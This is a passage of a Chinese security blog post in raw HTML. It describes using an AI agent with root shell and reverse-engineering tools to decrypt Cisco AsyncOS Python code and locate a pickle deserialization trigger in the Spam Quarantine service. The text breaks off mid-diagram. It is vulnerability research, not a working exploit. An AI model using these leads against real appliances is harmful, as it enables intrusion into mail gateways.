leaf="">AI</span></code><span leaf=""> 在自动化工作，导致分析非常零散，下面重点分享 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 分析时需要关注的几个关键环节。</span></p><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">系统分析</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对这种复杂系统进行分析，可以借助一些 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">mcp</span></code><span leaf="">或</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">tools</span></code><span leaf="">来辅助。挂载修改</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">root</span></code><span leaf="">账号的密码，利用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">remoteshell mcp</span></code><span leaf="">接入虚拟机，让</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf="">具备了对虚拟环境的接入与</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ROOT</span></code><span leaf="">权限的执行能力。经过</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">AI</span></code><span leaf="">分析梳理可知，目标设备运行的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Cisco AsyncOS</span></code><span leaf="">基于</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">FreeBSD</span></code><span leaf="">操作系统进行构建，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">82/83</span></code><span leaf="">端口对应</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Spam Quarantine</span></code><span leaf="">服务，进程为</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">euq_webui</span></code><span leaf="">，该进程会将数据通过</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Unix Socket</span></code><span leaf="">传递给后端的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">euq_server</span></code><span leaf="">进行处理。可以将</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">euq_webui/euq_server</span></code><span leaf="">下载并放入</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Ninja</span></code><span leaf="">进行逆向分析，并利用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ninja mcp</span></code><span leaf="">来构建</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 接入链路：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5196850393700787" data-type="png" data-w="889" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009047" src="https://wechat2rss.xlab.app/img-proxy/?k=936c2a85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLnKYyLu79zFNo8Ddz5IDUQjr97gm5iafpNo1qhl2LpicEe1UJo2aabiaCSolQbeQhW92nGznLa94X74g1uibC16pMor86ChFib4dmTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">使用的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">2</span></code><span leaf=""> 个 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">mcp</span></code><span leaf=""> 服务都是自己开发的，虽然也有类似的开源项目，但是对于这种常用工具，建议还是自己编写为好，现在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 发展太快，很难保证开源工具是安全的。其中 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">remoteshell mcp</span></code><span leaf=""> 给 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 提供接入虚拟机底层 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">bash</span></code><span leaf=""> 的操作能力，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ninja mcp</span></code><span leaf=""> 提供了对关键服务程序的逆向分析能力。剩下就是让大模型来帮我们完成分析。</span></p><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">python加载与解密</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">很快，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 通过分析判断出 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">euq_webui</span></code><span leaf=""> 是一个自定义的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python2.6</span></code><span leaf=""> 解释器，并且采用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">.ipoe</span></code><span leaf=""> 包对 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python</span></code><span leaf=""> 源码进行了加密：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4935185185185185" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009049" src="https://wechat2rss.xlab.app/img-proxy/?k=9ca19ce6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLmjfvLPXvdmdsE5yHCqXlMAxg6z9x6ctdg0dYprcf9J670aR5QH671icEMbIXX1kPpzFftR1yFtYKDRVon4z8adglNXfkXyVzqQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">直接让 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 对加密文件进行解密，然后发现它做了很多有趣的尝试，结合 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">remoteshell mcp</span></code><span leaf=""> 服务，尝试了从内存中 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">dump</span></code><span leaf=""> 代码、搜索分析确定解密算法等多种方式，并在虚拟机中构造了基于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python2.6</span></code><span leaf=""> 的解密脚本，经过多轮尝试与自主纠错，最终成功完成了解密：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4361111111111111" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009048" src="https://wechat2rss.xlab.app/img-proxy/?k=b83b0990&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLkuAcWsJXfTfRwe60SyfTxicibtvF6WLeoyHbTL0AtrjtrozAZyJLK6jzJv35UnF5Nq1wXzIpggF7SezxMzYgN4mWCmcmWleCJic4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这里如果自己来手搓，感觉就要花费不少的时间，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 确实极大提升了效率。</span></p><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">pickle反序列化触发点</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 辅助下从解密的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">python</span></code><span leaf=""> 文件中可以分析出触发 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">pickle</span></code><span leaf=""> 反序列化的流程，并且确定参数来自请求输入可控：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span leaf="">CommandMessage.send_message()</span><span leaf=""><br/></span><span leaf="">    │</span><span leaf=""><br/></span><span leaf="">    ├── struct.pack(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;&gt;B&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""> len</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">self</span></span><span leaf="">.destination))</span><span leaf=""><br/></span><span leaf="">    │       ↑</span><span leaf=""><br/></span><span leaf="">    │   当 destination 为</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 256</span></span><span leaf=""> 